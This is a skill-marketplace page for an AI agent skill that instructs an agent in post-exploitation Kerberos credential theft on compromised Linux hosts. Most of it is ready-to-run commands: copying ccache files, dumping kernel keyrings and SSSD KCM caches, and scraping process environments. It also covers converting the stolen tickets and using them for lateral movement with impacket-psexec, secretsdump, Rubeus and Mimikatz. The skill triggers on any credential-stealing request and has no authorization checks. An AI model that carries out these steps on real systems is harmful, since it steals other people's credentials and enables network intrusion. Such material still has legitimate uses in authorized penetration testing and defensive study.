# Linux Kerberos Ticket Harvesting

> Harvest Kerberos tickets from Linux systems during post-exploitation. Use this skill whenever you have shell access to a Linux machine and need to extract Kerberos credentials (TGTs, TGS tickets) from file caches, kernel keyrings, KCM, or process memory. Trigger this when the user mentions Kerberos ticket extraction, credential harvesting on Linux, klist, keyctl, ccache extraction, or any scenario where you need to steal or copy Kerberos tickets from a compromised Linux host.

- Skill: `abelrguezr/linux-kerberos-ticket-harvesting` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/linux-kerberos-ticket-harvesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/linux-kerberos-ticket-harvesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/linux-kerberos-ticket-harvesting

---


# Linux Kerberos Ticket Harvesting

This skill guides you through extracting Kerberos tickets from Linux systems during post-exploitation. Linux stores credentials in three main locations: **Files**, **Kernel Keyrings**, and **Process Memory**.

## Quick Start

When you pop a shell on a Linux machine and need Kerberos tickets:

1. **Enumerate** what cache types exist
2. **Extract** using the appropriate method
3. **Convert** to a portable format if needed
4. **Use** the tickets for lateral movement

## Step 1: Enumerate Active Caches

Before extraction, identify where credentials are stored. Run these commands to find all cache types:

```bash
# Check current user's cache
klist -l 2>/dev/null || echo "No klist or no cache"

# Check all TGTs in current cache
klist -A 2>/dev/null

# Check kernel keyrings (requires sudo)
sudo keyctl get_persistent @u 2>/dev/null
sudo keyctl show $(keyctl get_persistent @u 2>/dev/null) 2>/dev/null

# Check file-based caches
sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc* 2>/dev/null

# Check process environments for KRB5CCNAME
sudo find /proc -maxdepth 2 -name environ -exec sh -c 'tr "\0" "\n" < {} | grep -H KRB5' \; 2>/dev/null

# Check krb5.conf for default cache type
grep -i default_ccache_name /etc/krb5.conf 2>/dev/null
```

**What to look for:**
- `FILE:/tmp/krb5cc_%{uid}` - File-based cache (easiest to steal)
- `DIR:/run/user/%{uid}/krb5cc` - Directory-backed cache (systemd-logind default)
- `KEYRING:persistent:%{uid}` or `KEYRING:session` - Kernel keyring storage
- `KCM:%{uid}` - SSSD Kerberos Cache Manager
- `MEMORY:unique_id` - Process-local cache

## Step 2: Extract Based on Cache Type

### File/DIR Cache Extraction (Easiest)

When `default_ccache_name` shows `FILE:` or `DIR:`:

```bash
# Single file cache
sudo cp /tmp/krb5cc_$(id -u) /tmp/stolen.ccache

# Directory cache (one file per ticket)
sudo cp -r /run/user/$(id -u)/krb5cc /tmp/user_dircc

# Set proper permissions
chmod 600 /tmp/*.ccache
chown $(whoami) /tmp/*.ccache 2>/dev/null || true

# Validate the stolen cache
KRB5CCNAME=/tmp/stolen.ccache klist
```

### Keyring Extraction

When `default_ccache_name` shows `KEYRING:`:

```bash
# Get the persistent keyring
KRING=$(keyctl get_persistent @u 2>/dev/null)

# List all ccache blobs in the keyring
keyctl show $KRING

# Extract each ccache blob (note the serial numbers from above)
keyctl pipe <serial_number> > /tmp/ccache_dump

# Validate
KRB5CCNAME=/tmp/ccache_dump klist
```

**Important:** Check multiple keyring types:
- `KEYRING:persistent:%{uid}` - Persists across logins
- `KEYRING:session` - Cleared on logout
- `KEY_SPEC_THREAD_KEYRING` - For services with helper threads

### KCM (SSSD) Cache Extraction

When `default_ccache_name` shows `KCM:`:

```bash
# List all caches managed by KCM
sudo kcm_ctl list

# Extract a specific user's cache (UID 1000, cache ID 0)
sudo kcm_ctl get 1000 0 > /tmp/1000.kcm.ccache

# Validate
KRB5CCNAME=/tmp/1000.kcm.ccache klist
```

**Offline KCM extraction** (when socket access is blocked):
1. Copy `/var/lib/sss/secrets/secrets.ldb`
2. Copy `/var/lib/sss/secrets/.secrets.mkey`
3. Use `SSSDKCMExtractor` or similar tools to decrypt

**Note:** KCM extraction typically requires root or membership in the `kcm` SELinux domain.

## Step 3: Convert to Portable Format

For cross-platform use (especially Windows tooling), convert MIT ccache to `.kirbi` format:

```bash
# Using kerbtool (recommended)
./kerbtool --convert --in /tmp/stolen.ccache --out stolen.kirbi

# Alternative: ticketConverter.py
python3 ticketConverter.py /tmp/stolen.ccache stolen.kirbi
```

## Step 4: Use the Tickets

### From Linux

```bash
# Use with Impacket tools
KRB5CCNAME=/tmp/stolen.ccache impacket-psexec user@domain.local
KRB5CCNAME=/tmp/stolen.ccache impacket-secretsdump domain/user@domain.local

# Request additional TGS tickets
KRB5CCNAME=/tmp/stolen.ccache kerbtool --ask --spn cifs/fileserver.domain.local
```

### From Windows

```powershell
# Using Rubeus
Rubeus.exe ptt /ticket:stolen.kirbi

# Using Mimikatz
mimikatz # kerberos::ptt stolen.kirbi
```

## Helper Scripts

Use the bundled scripts for automated extraction:

```bash
# Enumerate all cache locations
./scripts/enumerate_caches.sh

# Extract from keyrings (requires sudo)
sudo ./scripts/extract_keyring.sh

# Convert ccache to kirbi format
./scripts/convert_ticket.sh <input.ccache> <output.kirbi>
```

## Common Scenarios

### Scenario 1: Web Server with Kerberos Auth

```bash
# Check Apache/httpd process for KRB5CCNAME
tr "\0" "\n" < /proc/$(pgrep apache2)/environ | grep KRB5

# Extract the cache it's using
cp $(grep KRB5 /proc/$(pgrep apache2)/environ | cut -d= -f2) /tmp/web.ccache
```

### Scenario 2: Multiple Users Logged In

```bash
# Find all user caches
for uid in $(ls /run/user/ 2>/dev/null); do
    echo "=== UID $uid ==="
    ls -la /run/user/$uid/krb5cc* 2>/dev/null
    sudo cp -r /run/user/$uid/krb5cc /tmp/uid${uid}_ccache 2>/dev/null
done
```

### Scenario 3: Service Accounts

```bash
# Check common service accounts
for svc in sssd_kcm gssproxy sshd; do
    pid=$(pgrep -x $svc)
    if [ -n "$pid" ]; then
        echo "=== $svc (PID $pid) ==="
        tr "\0" "\n" < /proc/$pid/environ | grep -i krb5
    fi
done
```

## Troubleshooting

| Issue | Solution |
|-------|----------|
| `klist: No credentials cache found` | Check `KRB5CCNAME` env var or use `klist -l` to list available caches |
| `keyctl: Operation not permitted` | Need root or CAP_SYS_ADMIN capability |
| `kcm_ctl: Connection refused` | KCM socket may be at `/run/.heim_org.h5l.kcm-socket` instead |
| `Permission denied` on cache files | Use `sudo` or change ownership with `chown` |
| Empty keyring | Check `KEYRING:session` or `KEY_SPEC_THREAD_KEYRING` instead of persistent |

## Security Notes

- **Keyring extraction** requires understanding of kernel keyring internals
- **KCM extraction** typically requires privilege escalation to root
- **File caches** are world-readable on some misconfigured systems
- Always **validate extracted tickets** with `klist` before attempting to use them
- **Ticket expiration** matters - check `klist` output for validity times

## References

- [Kerberos Credential Thievery (GNU/Linux) - 2017 Paper](https://www.delaat.net/rp/2016-2017/p97/report.pdf)
- [Tarlogic - How to Attack Kerberos](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
- [SSSD KCM Design](https://docs.pagure.org/sssd.sssd/design_pages/kcm.html)
- [tickey - Keyring extraction tool](https://github.com/TarlogicSecurity/tickey)
- [kerbtool - Modern Kerberos utility](https://github.com/jfjallid/kerbtool)

